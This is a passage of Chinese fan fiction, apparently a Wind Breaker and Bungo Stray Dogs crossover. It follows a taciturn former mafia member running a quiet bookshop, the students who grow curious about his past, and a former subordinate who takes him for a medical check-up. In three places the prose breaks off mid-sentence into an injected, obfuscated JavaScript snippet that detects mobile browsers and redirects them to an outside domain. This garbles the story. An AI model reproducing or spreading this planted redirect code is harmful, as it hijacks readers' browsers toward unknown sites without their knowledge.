虽然酒气缠身,但对他点头的青年眼神依旧清明,脸上带着他看不透的赞许。 “……如果梅宫哥输了,狙击手就会干掉他们二人中的一个?” 佐久间先生对他摇头。 【是生命受到威胁的时候】 他和青年只有半步台阶的距离,但此刻他却觉得二人之间的差距已经大到世上没有任何一种方式可以弥补。 拧开气泡水的瓶盖,他重新递回青年手中。 “佐久间先生,你得醒醒酒了。” 他单方面劝佐久间先生改掉闲时喝酒的习惯,在楼梯间停留了很久。如此一来,步伐不稳的樱和棪堂哉真斗便赶上了他们,但不知道他们方才在聊什么。 外面的雨越下越大,回家都变得困难了。 推开通往天台的门,门后是如帘般的雨幕,这里的战斗也已然画上句号。 撑着黑伞的银发青年把手里的伞稍稍向他的方向倾斜,远远地望了一眼躺在瓢泼大雨中的二人,便转过身准备离开,似乎看到这一幕就足够了。 望向他的双眼或许在询问他的想法。 “要一起走吗”,大概是这个意思。 他有了一种特别的感觉。他似乎能从佐久间先生的其实变化不大的细微神态中分辨不同的意思了。 是啊,这一夜的混乱已经结束了。 双方之间真的有解不开的“仇”吗?恐怕更多的是执念吧。有些时候,因想法不同带来的激烈冲突,真的会导致很严重的后果啊。 梅宫哥喜欢现在由自己和同伴们一起改变而来的和平的风铃,但棪堂哉真斗和焚石矢以及“烽”不喜欢。不喜欢这样的风铃,也不欣赏这样的梅宫哥。 ……让人无可奈何。 黑伞撑在他的头顶,在天地间腾起水雾的大雨没有把他淋成落汤鸡,但樱和那个家伙就没这么幸运了。 毕竟这把伞只有这么大嘛。 雨大,还有风。现在,佐久间先生身上的酒气也被卷跑了,离得不是很近,是闻不到的。 可惜他也只能就这样让不知道喝了多少酒的佐久间先生一个人离开。 他们还要各自分工,赶在天亮前,尽可能收拾那一堆烂摊子。要是让居民们看见倒地不起的外来者,很难不被吓到吧。 ……会是佐久间先生做的吗?发给他的消息里所写的,找不到原因却无端倒地的家伙们。 不过,稍微有点远吧。 佐久间先生就在他面前,消息里的位置可是在主干道。 佐久间弥津倒是不知道苏枋隼飞的心理活动蛮丰富。 他的确是想问要不要一起。 雨这么大,就算有伞,鞋会踩到积水和泥泞,裤脚也会被斜飘的雨滴打湿,但总比没伞强。 梅宫的状态还不错,比他想象中好,用不上最后的保险。 他没回家,回了书店。 书店的门紧闭着。在他回书店之前,水落比他更早回了店里,箱子没上锁,没时间继续耗在这座小城的“水落大人”也该尽快出发了。 在横滨同这里之间往返,费劲又费时,回到横滨之后,水落还要赶路回法国分部去。 如今他有了充足的休息时间,水落还要操心很多事。 一想到他留了那么多欧洲部门的工作给优和水落他们,他的良心就有点受折磨。 ……尽早培养新人吧,组织成员新旧更替的时候总会到来。 他掀起箱盖,把友人来不及整理的配件放回它该呆的地方。 下次再打开这个箱子,又会是什么时候呢。 14. 谈心的都市传说 打了个哈欠,佐久间弥津从隔间里一步一顿地走了出来。 苏枋和樱一大早上门来见他,是有什么事?他昨天应该没说过让他们一早来店里。 黑伞斜立在墙角,雨在半夜已经停了,此刻室外洒满属于晴天早上八点的明媚日光。 少年们真是有用不完的精力。反观他还在犯困,来这里生活真是让他懈怠。 似乎终于意识到自己和同伴贸然上门打扰了同样忙碌到半夜的老板休息,樱遥的脸色变得有些局促。 交流的话语权最终落到苏枋隼飞手里,在场所有人都在指望他开口说点什么,比如一大早上门的原因。 “佐久间先生,书店内外有被损坏的东西吗。” 损坏? 佐久间弥津摇摇头。 店面一切正常。 他们正在收集各个店铺和各处房屋设施受损情况,“得仔细处理好损失才行。梅宫哥说的。” 其实熬到凌晨三点恋恋不舍关掉游戏dlc的人点头,表示明白。 梅宫的行事风格相当成熟,在他眼里,不像普通高中生。 战胜敌人之后,附近受波及的城区确实需要好好修理一遍。 他走出门,抬头打量自己的店面。 昨夜疾风骤雨,大雨把店门和玻璃墙面洗刷了一遍。 雨水不一定干净,呈现出的崭新效果保留不了很久,干透之后就会看到满满的雨痕,到最后,还得他亲自收拾一遍。室内的地面也是,有他和水落踩下的鞋印。 水落放下东西,没停留几秒就转身出门,没忘锁好门,现在能看到的杂乱鞋印,都是他自己踩的。清理这些痕迹就是他自己的工作了,用不着风铃的学生帮忙。若是要说被外来者们破坏的地方……完全看不出来哪里有受损的样子。 他摇了摇头,表示他们可以去其他店里问问。 他望着二人进到对面的商店,对店主问出相同的问题,忍不住又打了个哈欠。他慢慢挪步子,走到桌边坐下。 度过那样一个奇妙又艰辛的雨夜,知情人默契地对老板的举动守口如瓶。任谁也明白,让普通居民知晓小城里出现“狙击手”这种危险的存在,会造成十分严重的恐慌。 如果说这样的存在意味着对城镇安宁的威胁,与之相矛盾的是,他们中不少人都认识这个有能力命令狙击手的人。 老板的表情总是淡淡的,对他们很有耐心,也不介意他们上门叨扰。他们有所预料,老板身上一定有很多秘密,但没想到秘密竟会是如此惊人。 苏枋隼飞得知的消息则更为夸张。 他没对任何人说过那句得到佐久间先生承认的答案。即使佐久间先生一副不在意的样子,但那不是能随便传播的消息。此种答案,他不害怕,但会有人害怕,毕竟“极道组织”这种词汇经常和违法犯罪同时出现。 那么,佐久间先生会是……隐姓埋名生活在这里的“罪犯”吗。 一上午,他和樱问遍半条街的店面,收集了不少问题,顺手帮了些小忙,也被热心居民们塞了很多送给风铃学生们的“礼物”。 接近中午,他们沿着来路往回走,又经过了佐久间先生的书店。 佐久间先生背对着街道,在认真地打扫店里的卫生。身上不再是早上穿着的白衬衫,而是换了身浅蓝色的短袖上衣,袖子没有长过手肘。 他望向店里。 佐久间先生的右臂上有一截看不清图案的刺青。超出衣袖不足半寸,因为袖口宽大,所以他能看得这么清楚。 他的视线转向另一个正在擦玻璃墙面的人,正擦得很起劲。 ……梅宫哥? 怎么会突然出现在佐久间先生的店里,还那么卖力地擦玻璃? * “因为,正好有事要找佐久间先生聊一聊。” 所以,梅宫一就打算顺便留下帮帮忙。而且,“佐久间先生说要请客吃饭哦!” “一起来吧。我订了餐厅。” 樱遥和苏枋隼飞齐齐转头,惊奇地看向声音来源。 那是一道什么样的声音呢? 他们相当陌生。干净平和的嗓音仿佛就在耳畔,却有种说不出的僵硬和古怪,还有电子音的感觉。 老板手里拿着一条项链。 链体漆黑扁平,垂着的吊坠却是一颗和老板眼瞳色彩相似但切割成爱心型的宝石。 宝石被大胆切成两半,中心打了数个小孔,刻意打薄的边缘也穿了孔,用看不出材质的银色短钉连接。宝石中心内置一个指甲盖大小的方形小黑匣子,方才的声音正是从吊坠中传出来的。 少年们惊讶地说不出话,老板又在手机上敲下几行字,文字转成的语音借由小匣子传递出来。 “是朋友做的。” “利用我原本的声音和一点点技术。” “很久没用了,我看看电量。” 佐久间弥津并不爱用染崎为他做的小设备。 染崎对他说那是“量身打造”的。说这句话的时候,胆子本来就不太大的少女更是把低头当作待机动作。他很少对下属说重话,更何况当时嗓子的恢复遥遥无期,他没办法说什么,只好点点头,当作什么都没看穿一样收下,回头提醒优别灌输怪心思给未成年。 链条能再长一点看起来就正常多了。 好处是能当翻盘的后备能源来用,所以他会记得关注电量。 他们作为同事,或者上司,会尊重染崎的爱好。只要染崎不经常从他们身上找灵感。 他把电量不足三成的小玩意放回椅子背后的置物柜,回过头来,他仍然看不懂少年们的眼神。 像第一次认识他一样。 订的餐厅在京成街,他对那里比较熟。 梅宫帮他擦玻璃外墙的雨渍,所以他作为回报,请梅宫吃饭? 不完全如此。 同桌的少年们似乎有点想知道他和梅宫聊了什么。那不是不可告人的秘密,就让梅宫代他解释吧。 “是我在和佐久间先生打赌,但是我输了!” 输了赌局的人仍旧豪爽地大口喝着冰果汁,脸上丝毫不见懊悔或遗憾。 赌?是什么样的赌局。 少年们神色各异,但心里都十分好奇。 “猜下一个经过店门口的人是男性还是女性,是成年人还是未成年人。我输了的话,就替他干活,如果是他输了,他就要在一周之内,让店里卖出两本书。” 梅宫一伸出手,比了个“二”的手势。 卖一本书就是天大的难题了。如果他要求佐久间先生卖出两本的话,佐久间先生一定会更认真对待这个赌局吧。 他猜是附近的居民,成年女性,佐久间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519370|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生却猜是戴耳机的风铃学生。 戴耳机的风铃学生…… 樱遥和苏枋隼飞的脑海里立马出现一个相同的形象。 莫非是……二年级的梶哥? “是啊。他刚好路过,走在最前面,不然我还是有可能获胜的。” 别人可能永远不懂,梶当时的表情超好笑。 佐久间先生迅速从置物柜里摸索出还装在塑料包装袋里的崭新毛巾,连同包装袋一齐抛向他。 毛巾的滞空感像模仿空中飞人。 他也没收好那副不敢置信的夸张表情,映在痕迹斑驳的玻璃上。 怎么连戴耳机都能猜中!是借其他东西看到了反射的影像吗? 他和梶透过玻璃门对视。 梶一副想先咬碎棒棒糖说话,但又想先摘耳机的样子。于是到头来,糖没咬碎,耳机也摘到一半,伫立在店门口一动不动。 一道细小的白光在梅宫一的余光里一闪而过。愣在原地的梶奇怪地看了一眼自己的手,才从静止不动的状态脱离。 话语权交给梅宫一,老板安静不语,只是一味给自己倒酒。 他们看不懂老板对酒的喜欢程度。说喜欢,老板的神情不像在细细品味,可若是说不喜欢,老板又经常带着一身酒气出现在他们眼前。 樱遥实在不明白。老板究竟是喜欢酒,还是喜欢喝酒的过程呢。 冰过的啤酒在玻璃杯中激荡。 他还是未成年,喝不了酒……所以别想着给他倒酒了! 被全桌人拒绝的老板把酒瓶拿回自己面前,眼中流露出些许惋惜。 “你有喝醉的时候吗?”樱遥问。 老板深藏不露的酒量让人瞠目结舌。无论是哪次,哪怕老板身上的酒气浓得需要用狂风骤雨带来的无边凉意驱散,老板还是那副样子。 他看到老板对他点头。 【高浓度烈酒】 “比如……‘伏特加’那种?”苏枋隼飞问。 佐久间弥津再次点头。 嗓子没受伤之前,他经常同中也先生喝酒,还会有其他人同行,但由于中也先生醉酒后的破坏力,不是所有人都能陪到最后。 他们往往会选择度数一般的红酒。中也先生的爱好不算特别多,收藏红酒算其中一个。 那往往是在一段时间的忙碌之后。组织的商业设施是最安全的场合,中也先生的酒量和酒品……说实话,不是很好。工作的时候,他和中也先生是上下属关系,工作之外,更像正常朋友。 他和中也先生有两年没见了,不知道横滨的事务会不会让中也先生忙得连收拾酒柜的时间也没有。 水落倒也没说错,他离开组织的理由,和新首领有点脱不开的关系。 欧洲部门在中也先生的管理下,常年不插手横滨部门的任何事宜,对留在国内部门的新旧干部们也甚少报以额外的关心。 他知道太宰治的存在,但他不了解其为人,也不与其在工作上有接触的必要。不仅他是如此,许多人,包括水落在内,都对太宰治知之甚少。 森先生突然间离世,太宰治的上位,让所有人措手不及。 他怀疑过森先生的事另有隐情,但在有明确证据之前,他无法怀疑太宰治与此事有关。 否则,他的行为会从“辞职”彻底变为“叛逃”。 15. 是糟糕大人的都市传说 一到晚上,樱遥就会想起中午时分老板酒后心血来潮和他们“聊”的话题。只有完整地见识过老板从熟练开酒到一瓶啤酒见底的全流程,才能明白老板的酒量有多惊人。 状似在认真地倾听他们说话,但不知不觉间喝光几乎三瓶啤酒。他从毫无发觉骤然变得十分惊恐。 老板面前怎么突然多了三个空瓶?他们有说很久吗? 他在等老板解释那一夜发生的事,但那双望着他的眼睛里依旧写满从容。不解释也没关系,他想。 等第三瓶啤酒见底,老板思索一阵,反而向他们抛出一个问题。 【你们以为,什么是都市传说】 就是、就是那种啊!都市传说……发生在都市里的、“不可名状之人事物”!虽然有人会提起,但从小到大生活的环境里并不存在……也没有亲眼见过。 老板没有追问,但更像对他的回答有些无语。 回想起来,那顿午饭似乎总是他们三个在发表看法。各种各样的,对棪堂哉真斗,对瓢泼大雨,对街区里的情况,唯独没有对有回收难度的弹头的探讨。 别人似乎不太想提……其实,他也不是那么想知道。 老板只做了喝酒、点头、最后买单这些事。 樱遥撑着床坐起来,大力揉了揉脑袋,又倒下去,凌乱的头发遭受二次重创。 受损的街区亟待修复,他们这些天忙忙碌碌,虽然速度很慢,但怎么说,都是在慢慢恢复。 他早上按时到教室,却发现苏枋的状态丝毫没有受到影响,不像他因为老板的态度而失眠。 【正确的叫法是能力者】 当时,老板的眼神没有放在他们身上,像是在脑海中挖掘深埋在记忆之海某处的东西。 回忆的是好事吧。不然,一向喜怒不形于色的老板为什么会扯着嘴角笑一下。那抹笑意转瞬即逝,樱遥差点以为自己眼花了。 身边的同伴直抒胸臆地问,是想起有趣的事了吗。他才确信刚才的一幕不是幻觉。老板的眼神稍一恍惚,扫过他们的面庞,轻轻点了点头,但没有展开阐述,在他们心里留下了一个可能不会有答案的谜题。 一到话题的关键时刻,就会发现老板身上有种淡淡的错位幽默。 那顿午饭的最后,在发现老板有说话的意图时,他们停下手中的动作,等着老板用自己沙哑的嗓音说话。 “天气,不错。” ……结果居然是在夸天气不错? 老板的身上写满了“神秘”。如果能知道老板以前是干什么的就好了。 他随口和身边的同伴说。 苏枋却一脸笑意地回答他,“万一佐久间先生以前是个不得了的人物呢?” 不得了的人物?他确实不觉得老板以前的经历会有多普通。 如果是过着平静生活的家伙,为什么要跑来这个地方开一家赚不到钱的书店,而且身上带着不知从何而来的伤。有伤在身,还如此热衷喝酒,难道这就是糟糕的大人? 苏枋隼飞回以浅浅的笑容。他放轻声音,“佐久间先生不是承认了吗。他的那位朋友就是那天的‘狙击手’。” 老板承认了,可那又怎么样,他们之间的关系根本没有因此发生改变。 樱遥不了解梅宫和老板之间的交情,既然连梅宫都不在乎老板的作为,“难道你觉得老板会做坏事吗,我倒是觉得,他不会做伤害风铃的事。” 那样一个爱喝酒、打电脑游戏、上一份工作性质不明的人…… “能一日三餐按时吃就算过分期待了。”樱遥吐槽道。 别哪天误喝烈酒,醉得连饭都忘记吃。 “说的也是。”苏枋隼飞望着正前方人来人往的热闹街头,像是在说服同伴,“佐久间先生只是想过一段和平的生活。” 头上顶着大太阳,来帮他们一起恢复街区的人有很多。 樱遥拖着不够轻松的脚步,路过老板的店,一扭头却看到老板的店里有两个熟人。单方面和老板说说笑笑,而老板还是那副对“客人”并不热情的态度。 苏枋隼飞也探过脑袋,吃惊地看着那一幕。 “他们居然真的来了。” 他原以为狮子头连的人只是随口打听老板的事。 * 佐久间弥津自始至终都没觉得自己的店能盈利。眼前两位性格差异很大的少年特地为此上门,他没有扫兴地把当真以“客人”身份上门的少年们赶走,而是表示他们可以自己挑书看。 金发少年对店里的陈设很感兴趣,性格外向活泼,摸了摸书架,又转头去观察空出来的桌子。 另一个戴眼镜的少年说话慢吞吞的,但没有不礼貌,说起他们来店里的契机。 “老板,我们见过的,你还记得吗。” 佐久间弥津点了点头。 他确实记得。两个穿着一模一样外套但身高差距又明显的二人组,是会比较让人留意。 狮子头连……是叫这个名字没错吧。 最近在这片街区往来的外来人很多,但都抱着好意。他能帮得上忙的地方只有对梅宫说,缺资金的时候来找他。 组织里的成员性格各异。有的内向,有的外向,有些不避讳自己的怪癖,还有的寡言少语但心里把组织当成了唯一的归处。 他不觉得这些少年们的性格有哪里很怪,但上门的理由还真是挺让人哭笑不得。 苏枋他们真的很想让他的书店活下去啊,像正常的盈利性书店一样。 借书是免费的,只不过购书需要等几天,他会替客人订新书。 “我不太想等待呢……”金发少年的语气略显惆怅,眼神却与之相反,兴奋地翻开一本主题是旅游推荐的书,指着一张图,展示给同伴看,“是富士山!我一直很想去这里!” 佐久间弥津没想到今天书店会这么热闹。 推门进来的少年们和狮子头连的来客相识,他坐回椅子,把书店的空间交给年纪相仿的少年们,不再操心他们之间的交谈。 需要借走看的话,请随意,反正都是免费的。 “我会认真看的!但要是不小心弄坏了怎么办?” 不小心弄坏的话。 【坏就坏了】 不需要赔偿,他不缺一本书的钱。 天气热起来之后,人们的心也好像夏日的热浪一样躁动不安。他的日常看店生活里多了好几样别的任务。水落找过他的事,被优查到了。在那之后,他这个和水落不对付的“前下属”一有空就会在他的聊天界面发自己的定位。 不和他唠别的,只有一个定位。像是在说,每天都会离他更进一步,马上就会迎来时隔两年之后的见面。 少年们在说什么,他没听清,看视角,也没有在问他什么。 他的注意力全都在聊天软件收到的新的好友邀请上。 个人信息界面都是默认选项,个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那是英国部门的建筑。从他以前办公室窗户望出去的视角,和这张照片的角度很相似。 烟雨朦胧的天气里,建筑的一角像从一幅历时多日完成的油画里截出的部分,缠着雾,屹立在英国最常见的雨天里,隔着屏幕和时间冲他挥手。 说不怀念是假的。 他当然会怀念,尤其是被他不小心留在旧日时光里的朋友找上门的时候。 下一张是染崎的工作室。东西摆放得十分凌乱,但这种乱中有序的环境才最适合发明家们寻找灵感。 还有染崎身边那条会把自己撞在玻璃门上的蛇。如果这两年能变聪明些就好了。 弥津大人,你的设备该进行调试更新了。 看着染崎发来的唯一一条文字消息,他没忍心说,那些小事本该他自己动手。 但他对此闭口不谈,免得造成更严重的后果。 英国现在是凌晨一点,到最后,他只能嘱咐少女早点休息。 少年们的聊天也逐渐步入尾声。 他切到另一个窗口界面,把优日渐靠近日本的定位看在眼里,伸手从支架上拿到平板电脑。 轻咳了一声,吸引少年们的注意力,把打出文字的界面展示给交情不浅的少年们。 樱遥神情凝重地读出老板给他们打出的一行字,“‘在街上看到一个戴墨镜又不认识路的年轻男人’……就联系你?” 他点了点头。 优的打扮一般很简单,也很好认,如果不是在他离开之后改了习惯,往往都是黑西装配墨镜,会挽起袖子,西装外套的扣子不会系好,除非当天风大。 “那是什么人,佐久间先生。” 他回答苏枋。 【以前的同事】 【遇到很像的人,可以联系我】 16. 被预约医生的都市传说 “哎呀,真不好意思。” 背着吉他包的青年一脸歉意,对差点被自己撞到的少年道歉,随后穿过他们,脚步轻盈地走到商店街主干道上。 樱遥没想对这个脚步轻巧但急匆匆的青年追究什么,从小道里拐出来的青年也许的确没看到直走的他和同伴。他和身边人对视一眼,点了点头。 苏枋隼飞也有所发现,用手机发了条消息出去。 唯有当天没到书店的榆井秋彦对他们之间的默契一无所知。 怎么了,发生什么事了?为什么他们两个突然这么严肃! 他们走了和墨镜青年相反的方向,解释的权力在樱遥和苏枋隼飞两人手上。 时隔一周,老板“预言”中的人果然出现了。 记录难得一见的信息是榆井秋彦的习惯,但他的纸笔都被苏枋压下。 他疑惑地看过去,苏枋正对他笑,“这种事,我们用不着记住。” ……确实!毕竟老板不是他们这样的学生呢。 三个人走在街头,却都没忍住回头快速瞥了一眼。 青年漫步在主干道上,左右打量,在寻找什么。 “那就是老板以前的同事?他好像找不到老板的店……我们该去帮忙吗。” “我想,不用。老板似乎不太想让以前的同事找到他。” 这个青年居然真的是西服打扮。樱遥吐槽道,“他不热吗?现在可是夏天啊。” 在街头来回一趟,他的喉咙已经在渴求新鲜干净水源的拯救了。 唯有苏枋隼飞意识到他们三个人之间竟然有信息差。 那天佐久间先生表示是“同事”的时候,额外朝他看一眼的用意,他也明白,那不是普通的同事那么简单。 即使佐久间先生在他面前承认自己过去是类似极道组织那般的犯罪组织成员,但他还是无法想象,对他们的态度堪称友好的佐久间先生竟然可能是犯下罪恶之人。 该说人不可貌相,还是说人就像一枚有两面的硬币? 自那天之后,梅宫哥也好,他和樱也罢,都没有因为那一夜的事打算改变什么。 佐久间先生的生活没受影响,还是那般自在闲适。 曾经是犯罪组织成员的佐久间先生会对这片街区做出不好的事吗?他不认为会如此,其他人也一样。 远道而来的同事一定和犯罪组织脱不了干系。还有已经失去消息的青年,佐久间先生所谓的“朋友”……和那个人的态度相比,佐久间先生温柔得不像话。 思考的时间有些长了,他和同伴们之间就落下点距离。 “樱,你和榆井先回去吧。” 走在前面的二人齐刷刷地回头。 “你要去找老板?” 樱遥一语道破同伴的打算。 苏枋隼飞也只能点头笑笑,承认自己确实是这样想的。 他返回佐久间先生的店门前,而那个青年早已站在店里。 吉他包斜靠在桌边,坐在椅子上的佐久间先生不为所动,但他莫名从佐久间先生的眼神里看到求救的意思。 他毫不犹豫地推门进去,听到青年称呼佐久间先生为“弥津大人”。 “弥津大人,冰箱里的啤酒……”没摘掉墨镜的青年扭头看向闯进二人空间的他,墨镜后的眼睛放肆观察着,“你……我刚才在街头看到的人,是你吧。” “是我。”他对青年轻轻一笑,跳过他,径直看向站起身的人,邀请道,“弥津先生,修好街区之后,梅宫哥想办一场庆祝会,地点会在风铃高中。可以来吗?” 似乎是隔着墨镜视线受阻,他不知姓名的黑发青年做出摘墨镜的动作,墨镜后是一双格外耀眼的金色眼瞳。 佐久间先生望向青年,从平静的脸色上看不出态度如何,但青年停下了摘墨镜的动作,神色如常地继续和佐久间先生聊冰箱里的啤酒,“才两年,你就把医生的话忘得干干净净吗?我要拿走丢掉了哦,其他饮料给你留下。” 说完,青年便开始收拾冰箱里其实作为病人的佐久间先生早该丢弃的酒。他站在原地,发现佐久间先生的神色一点一点变得莫名有点落寞。 蓦然回神,对他点头,意思是他会去的。 苏枋隼飞心里十分赞同青年的举动。他不知晓佐久间先生受伤的原因,可是想想也知道,没有哪个喉咙受伤的病人会被医生允许喝酒。 隔间里叮呤咣啷响了一阵,十多瓶包装不一的啤酒被唉声叹气的青年摆到隔间里的小桌上。 “我不敢想你这两年过的是什么日子。” 好耳熟的话。 苏枋隼飞回忆着。 完全失去消息的男人也说过“你现在过得是什么生活”类似这样的话。 佐久间先生现在的生活有哪里很不好吗。只看过这间书店,这些人竟然就做出这样的判断,明明本人对这样的生活很满意。 对一个过着自由散漫生活的人来说,这种话会有些莫名其妙吧。 青年走出隔间,对佐久间先生说,他要把啤酒装进垃圾袋里扔掉。 佐久间先生瞥了他一眼,拿起桌上的平板电脑打字。 他们都看到了。佐久间先生的意思是,把那堆啤酒送给附近的餐馆,就说买多了,让他们随餐赠送。 “是。” 青年微微低下头应答,立即出门按照佐久间先生的吩咐去做。 于是,他短暂地同佐久间先生单独相处了几分钟。 玫红色的漂亮眼瞳望着他,似乎在询问他还有什么事。现在,推断佐久间先生的想法已经没有初识那段时间困难了。其实他想问的事有很多。来自犯罪组织的“同事”,不也是犯罪分子吗? 他走近几步,让自己离得佐久间先生更近一点,小声问,“他会威胁你吗。” “威胁”你回到曾经的组织去,“威胁”你离开这里。 近在咫尺的青年摇摇头,重新打下一个词。 【下属】 意思是……那个青年,是佐久间先生曾经的下属? 苏枋隼飞的认知局限于“下属”一词,并未多想。 但显然他不理解“犯罪组织”,或者说,少年不了解黑手党。 佐久间弥津为了省事丢出的“下属”一词,直接掩盖了黑手党组织里直属上下级那形如命运共同体一般的信任和认可。 少年没想了解这一点。他能肯定的不过是这个看似比上一个“朋友”脾气好的“下属”,并不是来找茬的。 杀手组织的成员脱离组织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519372|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后被组织灭口的桥段,不是总能在艺术化处理过后的影片里见识到吗。 完成“命令”的青年回来得很快,他便失去了和佐久间先生独处的权利。他立刻收拾好表情,告辞道,“明天见,弥津先生。” 明天一定会再见的。 然而,当他第二天再次因故路过书店,书桌后的人换成了昨日来到镇上的黑发青年。 佐久间先生又不见了。 这样的情形,前不久刚见过吧。 不同的是,上次仅仅持续一天,而这次佐久间先生消失了近乎一周的时间。 看店的人变成了辛勤“工作”的黑发青年。清洁地板、打扫小隔间、整理佐久间先生椅子后面整墙的置物柜,或是趁着最近一直是大晴天,一丝不苟地擦面向街道的玻璃。 不协调的地方是青年仍然戴着几乎没见摘过的墨镜,果真如佐久间先生所说,是个不分白天黑夜,也不论在做什么事都戴着墨镜的人。 与他同行的伙伴在远离书店的地方小声讨论佐久间先生的这位看起来过分勤劳的同事。他回头看,过分专注的青年还在一点一点地擦那面巨大的玻璃,有点像在借此消磨等待佐久间先生回来的这段时间。 等待,让人感到煎熬。 他对同伴解释了那天目睹的情况。佐久间先生的酒被迫送给了附近的商户,“也算无害化处理了。” 以后,每当佐久间先生想到这一次的“悲惨”遭遇,或许就不会再喝酒了。这样的无害化处理,也是好事。 佐久间先生是不会遇到危险的那种类型,但下落不明,是去了哪里呢。 直到庆祝会前一天的上午,他仍然没有见到佐久间先生出现在店里。 没什么大不了的,他心想,佐久间先生的时间必然要比他们这样的学生安排得更紧凑。 他看着自己在玻璃墙面上的倒影,被擦得光亮如初的玻璃让人盯久了感到眩晕。他扭过头,黑发青年正站在佐久间先生的桌子旁边,摘掉了墨镜,露出那一双总是被藏在镜片后面的金色眼瞳,瞧着他,做出一个“进来”的口型。 心底好似翻涌起一阵沉闷哀伤的夏风,难以形容的失控感毫无征兆地突袭了他。 看着摘掉墨镜的青年,他拉开店门走了进去,不顾同伴们的诧异神情。 青年扬了扬下巴,示意他看堆放在书架间的纸箱子。纸箱上印着一串英文logo,有点眼熟,是电视节目中途的广告时段经常能看到的品牌广告。 说实话,他很想问佐久间先生现在在何处,但脑海里有种难以突破的桎梏在阻碍他问出心中所想的问题。 好奇怪的感觉。 “那些是弥津大人订的东西。搬走吧。” 看来,佐久间先生一直有在关注庆祝会的事。 一共七箱,他们人手不够,找隔壁店铺借来了搬运货物的小推车。 幸运的是,少年想见到的人,在他们来还推车的时候,终于披着夕阳的残晖走到了店门口。 气色看起来不差,只不过眉眼间露出几分困倦。 戴回墨镜的青年殷勤地替书店的主人开门,又接过“前上司”手中提着的透明药箱,迫不及待地问,“医生有没有因为你喝酒的习惯,说病情有恶化的倾向。” 17. 复查归来的都市传说 “老板……你最近是去看医生了吗?” 樱遥不敢相信。一向把冰啤酒当水灌的老板居然会去看医生。但那一箱药不是假的,而是实打实被他们看到的东西。 镜优没拦着这群年龄尚小的小鬼们对着弥津大人问东问西。 幸好这群少年掌握了交流的最佳方式,问出的问题,用点头或者摇头就能回答。 他把药箱带回隔间,仔细检查箱子里的药物。喷雾、胶囊、片剂,种类不少,除了其中一瓶有消炎功效的喷雾有使用痕迹,其他都还密封着。 很眼熟,是弥津大人两年前就用过的那些。 他费了很大力气才说服弥津大人去最近的大城市医院复查。 “全都安排完毕了。还是像以前一样,你什么都不用操心,人到现场就好。” 在上司露出不赞同的表情前,他又说,“我好不容易才和水落那家伙说好。我在他手里请假很难的,弥津大人。” 如果不是水落望音默许,他不可能放下任务回国。那个混蛋把他当不需要休息的机器人用,没准哪天他累进医院,都会勒令别人把他带出来。 水落望音是个小心眼、记仇又无情的家伙。可偏偏在中原干部和弥津大人双双离开欧洲分部之后,只有那个男人有处理那些事务的经验。 横滨本部对这样看起来顺理成章的人员变动毫无异议,他无话可说。 染崎是个话少的人,弥津大人离开之后,除了任务和开会,染崎永远呆在那间位置不算闭塞但整天拉着窗帘的工作室里。他觉得染崎快要在没任务的孤寂时间里憋死了,就自掏腰包给她添了点家具。 空气净化器、加湿器和一台游戏主机,每次回欧洲总部也请客吃饭,目的是为了让染崎出门走动几下。 不然他怀疑哪天就会看到染崎的蛇跑到其他人的办公室求救。 “我的任务是送你去医院复查。”他说。 他知道弥津大人在担心什么,“水落派了鸿上律和我一起回来。他在医院等你,你的行踪不会暴露给除我们之外的任何人。” 但他在心里冷笑一声。那个混蛋怕他找借口久待,才指派别人跟他一起,美名其曰“接应”。 “看店的事也交给我。” 反正……反正也没客人。 他默默想。 开书店这种事挺新奇的。组织里什么商业设施都有,但书店这种,他还真没听说过。不过,打发时间而已,干什么都不错。 在远离大城市喧嚣的港口小城开一家纯打发时间、生意也不忙的店,听起来很美好,生活节奏像弥津大人的性格一样不急不躁。 重点在于,这是一座港口小城。于是,他乐观地觉得,弥津大人心里还有横滨,还有南安普顿。 终于说服上司去医院复查,他帮忙给手机充电时,装作无意问道,“弥津大人,你什么时候打算回去一趟。” 回哪里去?回横滨,还是回欧洲分部,都行,都算回去,他故意没问清楚。 他近两年没见的上司在平板电脑上敲下一行字。 【中也干部哪天用得着我,我会考虑回去帮忙】 也对。弥津大人离开的时候,没许诺要在哪天回去。既没有说等伤治好就回去,也没有说,等发现伤无法治好就回去。完全是他们——是中原干部忙于本部事务,忘了问这回事。 就算中原干部后来发现忘了问,也不会再去联系了。不打扰离开组织的前成员,是不成文但他们心知肚明的规矩。因此,想让弥津大人回组织去……除非组织又一次遭受重创,否则他和弥津大人永远没有继续当上下级的可能。 但那种事,应该不会发生了。 现首领的年纪和弥津大人相仿,相当年轻。 弥津大人离开后,他被调回本部呆了一段时间,取代了弥津大人在中原干部身边的职位。差不多……是去年的现在,在气温稳步升高的夏季,他才重新回到欧洲部门去,回到了他的舒适区,唯一不舒适的地方应该是迎来了一个糟糕的上司。 平时和染崎提起那个年轻的现首领,染崎也和他是一样的态度。 有点纳闷。 ……觉得这是不忠心? 常年呆在欧洲分部的他们“不忠心”,不是很正常吗。 